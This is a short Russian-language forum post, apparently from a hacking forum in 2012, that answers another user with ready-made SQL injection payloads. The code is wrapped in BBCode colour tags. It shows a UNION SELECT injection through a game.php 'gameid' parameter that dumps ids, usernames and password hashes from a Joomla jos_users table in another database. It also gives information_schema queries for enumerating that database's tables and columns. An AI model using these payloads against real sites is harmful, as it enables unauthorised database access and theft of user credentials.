
05.05.2012, 13:37
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
to Muracha
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]game[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]gameid[/COLOR][COLOR="#007700"]=-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]union[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]concat_ws[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0x03a[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]username[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]7[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]FROM[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]anotherdb[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jos_users[/COLOR][COLOR="#007700"]--[/COLOR][/COLOR]
Для вывода таблиц из другой базы данных
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]select table_name from information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables where table_schema[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'anotherdb'[/COLOR][COLOR="#0000BB"]limit 0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
Так же делаем с колонками
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]select column_name from information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]columns where table_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'jos_users'[/COLOR][COLOR="#007700"]and[/COLOR][COLOR="#0000BB"]table_schema[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'anotherdb'[/COLOR][COLOR="#0000BB"]limit 0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
|
|
|